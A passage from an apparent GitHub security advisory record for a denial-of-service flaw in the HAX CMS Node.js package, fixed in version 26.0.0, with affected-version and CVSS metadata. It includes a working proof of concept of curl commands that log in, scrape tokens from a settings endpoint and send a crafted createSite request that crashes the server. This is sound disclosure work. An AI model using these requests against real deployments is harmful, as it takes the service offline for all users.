A single request is sufficient to take the entire application offline, requiring a manual server restart to restore service.\n\n### Details\n\nThe `createSite` remote import flow does **not** complete end-to-end. Instead, the server crashes before the outbound HTTP fetch happens.\n\nThe crash occurs because `createSite` passes a file object without `originalname`, while `HAXCMSFile.save()` immediately dereferences `tmpFile.originalname.replace(...)`.\n\nAs a result:\n\n- the request reaches privileged code inside `createSite`\n- the server hits the remote file handling path\n- the process crashes before `downloadAndSaveFile()` performs the outbound request\n- no imported file is written into the site directory\n\n### Affected Resources\n\n- src/routes/createSite.js:176\n- src/lib/HAXCMSFile.js:25\n- system/api/createSite\n\n### PoC\n\n1. Obtain a JWT by logging in with valid credentials.\n\n```bash\nJWT=$(curl -s -X POST 'http://127.0.0.1:3000/system/api/login' \\\n  -H 'Content-Type: application/json' \\\n  -d '{\"username\":\"admin\",\"password\":\"admin\"}' | grep -o '\"jwt\":\"[^\"]*\"' | head -1 | cut -d'\"' -f4)\n```\n\n2. Extract the required tokens from the `connectionSettings` endpoint.\n\n```bash\nSETTINGS=$(curl -s 'http://127.0.0.1:3000/system/api/connectionSettings')\nROOT_TOKEN=$(printf '%s' \"$SETTINGS\" | grep -o '\"token\":\"[^\"]*\"' | head -1 | cut -d'\"' -f4)\nUSER_TOKEN=$(printf '%s' \"$SETTINGS\" | grep -o 'createSite[^\"]*' | grep -o 'user_token=[^\"&]*' | cut -d'=' -f2)\n```\n\n3. Send the malformed request to crash the server.\n\n```bash\ncurl -i -X POST \"http://127.0.0.1:3000/system/api/createSite?user_token=$USER_TOKEN&jwt=$JWT\" \\\n  -H 'Content-Type: application/json' \\\n  -d \"{\n    \\\"token\\\": \\\"$ROOT_TOKEN\\\",\n    \\\"site\\\": { \\\"name\\\": \\\"dos-poc\\\" },\n    \\\"theme\\\": {},\n    \\\"build\\\": {\n      \\\"structure\\\": \\\"import\\\",\n      \\\"type\\\": \\\"import\\\",\n      \\\"items\\\": [],\n      \\\"files\\\": {\n        \\\"files/poc.txt\\\": \\\"http://127.0.0.1:8888/poc.txt\\\"\n      }\n    }\n  }\"\n```\n\n<img width=\"953\" height=\"433\" alt=\"Empty-Reply\" src=\"https://github.com/user-attachments/assets/f3562726-2e64-4af6-a06c-8356dc7708da\" />\n\n\nThe curl client receives an empty reply as the server crashes mid-request. The Node.js process terminates immediately with TypeError: Cannot read properties of undefined (reading 'replace') and nodemon reports the application as crashed.\n\n<img width=\"950\" height=\"278\" alt=\"crash-detail\" src=\"https://github.com/user-attachments/assets/1fbc80fb-4c2d-4bc6-af29-c3e9c45e8ad1\" />\n\n\n### Impact\n\nAn authenticated attacker can crash the HAX CMS NodeJS process with a single HTTP request, making the application unavailable to all users until the server is manually restarted. Since HAX CMS allows account registration, an attacker does not need to compromise existing credentials; they can create their own account and immediately use it to trigger the crash.","state":0,"publishedAt":"2026-05-19T19:51:51+00:00","modifiedAt":"2026-09-10T03:51:05.1862583+00:00","affected":[{"ecosystem":"npm","name":"@haxtheweb/haxcms-nodejs","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"26.0.0"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"MODERATE"}],"references":["https://github.com/haxtheweb/issues/security/advisories/GHSA-9r33-xhw8-4qqp","https://nvd.nist.gov/vuln/detail/CVE-2026-46357","https://github.com/haxtheweb/issues"],"sourceUrl":"https://github.com/advisories/GHSA-9r33-xhw8-4qqp","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-9r33-xhw8-4qqp","identifiers":["GHSA-9r33-xhw8-4qqp","CVE-2026-46357"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors.
